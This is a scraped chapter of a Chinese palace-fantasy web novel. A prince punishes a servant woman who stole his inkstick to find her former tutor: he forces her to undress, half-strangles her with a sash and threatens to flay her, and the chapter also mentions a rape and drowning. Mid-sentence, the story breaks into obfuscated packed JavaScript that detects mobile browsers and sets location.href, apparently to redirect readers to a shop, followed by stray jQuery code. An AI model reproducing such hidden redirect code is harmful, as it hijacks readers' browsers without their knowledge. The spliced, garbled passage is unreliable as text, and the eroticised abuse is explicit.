风竹小说 > 玄幻魔法 > 陛下掖好小被子 > 11. 爬上来
    她心下猛地一滞,呼吸不稳。

    “娘子是有他的消息?”

    “他是你什么人?旧情郎?”柳芳容促眼看她。

    “娘子可是有他的消息?”胡萤情急追问。

    “我不能告诉你。”

    柳芳容抿唇,“你与殿下相伴左右,如何能不知明影此人?既如此,只能说明殿下不愿你知晓此人。这块墨锭,兴许是你偷来的,我若说了……”

    三言两语,胡萤听得云里雾里。

    先生与燕王有什么关联?她心中揣着这一问。

    然而阎王洞显然已掌握明影的消息,胡萤一咬牙,继追问道:“娘子不知,我与拾萤先生实有旧情。正如此,殿下才不愿亲口告知我。”

    她两目紧锁着柳芳容:“我知晓,你的兄长已经死在殿下掌中,阎王洞亦有大变。我日夜在殿下左右,娘子今日告知我,便是于我有恩,日后我定在殿下左右,为娘子说些好话……”

    柳芳容听了这话,眼波微异,眉梢一动,“娘子所说当真?”

    胡萤摩挲着那方墨锭。

    “这方墨锭,在殿下内室才能见得,如今能在我左右,娘子还怕我食言吗?”

    “平康坊,有一座绘了碧漆的宅邸,是你那旧情郎的住处。”

    “平康坊,你是说在封河府?”胡萤一时情急,抬高了声,“先生就在封河府?”

    柳芳容哂笑:“娘子,你行事大胆,我亦要告知你——既在殿下左右,便莫要再引火上身,当心害死你的旧情人。”

    说罢,她拂袖起身。

    “娘子等等。”胡萤起身,“阎王洞中,是否关守了一个烂了腿脚的娘子,就在水牢中。”

    柳芳容眯起一双凤眼:“你怎么知道?”

    “她如今还在牢中?”

    “两个鼠奴喝了大酒,在牢中强行了她,她不愿,被鼠奴在污水中溺死了。”她睨了胡萤一眼,“娘子认识?”

    胡萤心中遽然一沉,有些惘然:“不认识……”

    “天色不早,不留娘子久坐。”

    说罢,柳芳容背身而去。

    **

    入洞的路,与离洞的路并不在一处。胡萤循着鼠奴给的方向与那日离开的记忆,一步步朝天光处走。

    寻无忧坊用了许多时辰,她竟不知洞外已然昏暮。

    胡萤未走出数步,忽听得身后一记不冷不淡的男声:“娘子,可见过孤的墨锭?”

    她脚下倏然一钝,面色一白,朝后望去。

    残败的槐树下,正停着一驾熟悉的特勒骠马车。一只骨节分明、劲瘦颀长的手挑起了帘,透出阴翳中一张森冷诡艳的面容。

    暮色昏沉,照在何让的脸上,映不出半分暖意:“书,你也买得了?”

    胡萤猛然心颤,口中下意识:“殿下……奴错了。”

    “徐无因,将她身上孤的衣服扒了,推到街上去。”他沉声。

    “殿下、殿下……”

    胡萤旋即跪向马下,将袖中墨锭捧在掌中,托向高处,递与他看:“奴再不敢了……求殿下、求殿下放过奴……”她将哭出来,“奴寻先生心切,方出此下策……”

    “下策?孤看你此策很好,既能读圣贤书,亦能行偷鸡摸狗之事。孤说你宁折不弯,分明是孤识人有误啊。”何让唇边勾起一笑,十分讥诮,“让你识文断字、念书读词,真是大材小用。”

    “徐无因,你还愣着,是孤为难你了么?”他冷声,“扒得干干净净,孤要看看,你有多少层皮。”

    徐无因踌躇着上前,却迟迟下不得手。

    若说打杀诸事,他从不敢怠慢,可扒一个女人的衣裳,这事传出去……他怕是在军中也丢了面子。

    徐无因一咬牙,迈上前,一把拎起胡萤的后颈,抬手便要解她的衣。

    胡萤面上已然糊湿了泪,两耳红透着躲,双手推拒之间,宽大的男袍隐隐要坠,大半肩颈滑出来,白得晃眼。

    她愈挣脱,徐无因愈不知从何下手。

    胡萤口中叫嚷,哭声断续:“殿下、殿下……”

    双眼通红、泪色涟涟,红唇一抹,浸润了湿泪后愈显得滢透,她一边躲,又一边缩,姿态风情韵致,天然的狐狸作态。

    何让忽地沉下声来:“徐无因。”

    徐无因等这句已等了许久,实在不忍,连忙停了手。

    马下的女郎衣袍散乱,鬓发亦是,乱得风情更盛、使人垂爱。她噙着泪,茫然抬起颈来,一滴泪便跌在面颊上,混着雪肤红唇,受了天大的委屈。

    胡萤颤着声,“殿下……饶了我吧。”

    何让深吸一口气。

    “爬上来。”

    三个字掷在马下,胡萤连忙捂着衣衫、扶着鬓发,跌跌撞撞地上了马车。

    她仍在哭,泪止不住地掉。

    何让坐在她咫尺之距:“回府。”

    马蹄踢踏,车厢微微一晃。

    她捂着胸口,不敢再哭,只是含着泪,垂着眼。

    “自己扒了。”他冷声。

    胡萤一怔,颤声,“殿下……”

    “手脚不干净,也敢袭孤的衣袍招摇撞骗?你如今不脱,孤便砍了你的手脚,与那个瞎子捆在一处,做一对可怜人。”

    他讥笑:“扒,还是不扒?”

    胡萤咬紧牙关,抬手往腰后,将缎带解开。一条素缎,坠在何让身下。

    衣袍渐松,她哭声低微,可在狭窄的车厢之内,尤为彰显。

    女人的肩颈绝色风流,细颈瘦肩、乌发云髻,是纸上也难能画出来的皮。何让抬眼,拾起身下的那条素缎,在掌中反复摩挲。

    胡萤望着他,不敢妄动。

    他抻开素缎,稍一倾身,迫近了她,将那条素缎套在她颈间,如要取命的绳索。

    她战栗着不敢声语,泪止不住地坠。

    何让收紧了缎子,抵在她喉间,稍加施力。胡萤顺着力,被勾到他面前来。

    狭小的轿厢里,她在他幽深的眼目里,隐隐看见自己的轮廓:颤抖、瘦小。

    “讨到你想要的结果了?”他低声,实为嘲弄地望着她。

    胡萤的一双红唇也在哆嗦:“殿下……”

    “昨夜孤刚扒了一副人皮,就挂在洞里,你瞧见了么?”

    她心中骇得发冷。

    “你的皮如此风流,就不怕孤今夜将你的脑袋上破个口子,灌进滚烫的水银……不足一刻钟,整张皮都退下来……”

    四目相对,呼吸纠扯。

    是与前夜截然相反的境地。

    那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16949213|193054||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    一夜含有几分温情,此时,只是无尽的森冷恐惧。

    见惯了何让的睡容,她也险些忘了,他曾一支箭杀了一匹狼,又一声令下,挖了兄长的双目。

    “殿下,再给奴一日时间……奴明日见了先生,得知先生无虞,奴便回府自刎。”胡萤颤着眼睫,轻声。

    “你为了他,命也不要?”他讥笑。

    “奴活在世上,挂念的人所剩无几,只余下先生一个……”

    “孤问的是,你为了他,是不是连命也不愿要?”

    “……是。先生就在封河府内,天涯海角,奴跑不出封河府,只需见了兄长,便愿意将这条命交给殿下。”

    何让遽然收紧掌中素缎。

    她瞬间被勒得满脸涨红,不能呼吸,挣扎起来。

    他掌中力道不减,满脸阴沉:“胡萤,你伏在孤的榻边,穿着孤的衣袍,用着孤的笔墨,睡在孤的内宅,日夜想着另一个男人。为了这么一个男人,你胆敢偷取孤的物什、擅逃孤的府院,如今还要以这样的姿态,去博另一个男人的欢心,你当孤是个死人?”

    胡萤喉中发出断续的呜咽。

    何让拉得愈紧,“你若真如一条野狗,一条绳索就能勒得住你,孤倒真觉得,你这条命也能残存着留用。”

    胡萤眼前泛着晕。

    他猛然卸了力,任她轻飘飘跌在地上,竭力呼吸。

    胡萤触着自己的脖颈,极力吸取着空气,几乎丧尽全部力气,每一次微弱的吞咽都感到一阵撕裂的痛,牵动着整个头颅嗡嗡作响。

    她发出嘶哑的哮鸣,伏在何让身下,泪水不受控制地涌出,混合着冷汗,留下冰冷粘腻的触感。

    恐惧并非如潮水般退去,却如同冰水渗入了骨髓,胡萤全身不受控制地剧烈颤抖。

    **

    晚秋的封河府,天空如一块吸饱了地下水的巨大铅灰色绒布,沉沉地压了下来。胡萤每一次呼吸,都带着一股枯草和腐烂落叶混合的、湿漉漉的土腥气,沉重地坠入肺腑。

    云层深处,隐隐传来一阵沉闷的滚动声。

    她衣衫不整地跪在屋前,发髻凌乱。

    梧桐树枝僵硬地摇摆,发出干涩的摩擦声,几片顽强的枯叶被粗暴地扯下,打着旋儿,仓惶地掠过冰冷的地面,最终无力地贴伏在墙角沟渠。

    胡萤身后,传来一阵接一阵的鞭声:几个采买的宦奴,被府兵押着,一鞭接一鞭,清脆利落。

    鞭子足有拇指粗细,由几股坚韧的熟牛皮拧绞成。府兵的动作没有停顿,手臂扬起,落下,带着一种令人胆寒的韵律。

    每一次鞭子落下,都伴随着一声撕裂般的惨叫。

    胡萤再也难忍,沉沉叩首在屋前,一下接一下:“殿下、殿下……请殿下索奴的命。”

    封河府一场迟来的暴雨,终于尽情地落下。

    几点沉重的雨砸到她面上,旋即噼里啪啦地敲打着屋檐、窗牖,终于汇成一片喧嚣。胡萤眼前逐渐模糊起来,而身后宦奴的告饶声却愈发鲜明。

    她撑起身,跌跌撞撞地去推那扇紧闭了的浮雕门。

    甫推开门,一片孤僻的寂静。昏暗里,屋中一盏灯未点。

    胡萤别过颈,觑见何让在矮榻上蜷缩着,身后素袍浸了大片的血,洇染开深重的颜色。